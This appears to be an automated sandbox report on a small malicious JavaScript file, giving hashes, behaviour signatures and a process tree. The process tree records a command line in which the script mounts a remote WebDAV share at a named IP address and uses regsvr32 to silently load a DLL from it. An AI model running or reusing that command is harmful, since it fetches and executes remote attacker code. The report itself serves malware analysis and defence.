Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2024 02:53

General

  • Target

    311366338260323153.js

  • Size

    4KB

  • MD5

    dbbe419ed882ba70ef2d6084766b6194

  • SHA1

    b784f452e4da8a37ed9de496803dba22b722b6be

  • SHA256

    57e8bb00a304e7d1c7e856da0305980d0cf858255e9fbe8e173392eb0eb92bbd

  • SHA512

    f5ce3c7e3dd7a15023954a221a04d12d4231caefd49d30eec91504d753c2e9e24e6a2f6aa8fcba2d03cedbbb88af15c4008e090cff80ca75591b192f0dc47109

  • SSDEEP

    96:HRDb1e1y2mEKdSjKpHE11Q28tF5F5F5q5XpAkUtF5F5F5q5XpYb:HRf1R2gd8Kps8tHHHqxpAkUtHHHqxpYb

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\311366338260323153.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\302023142719303.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2788

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads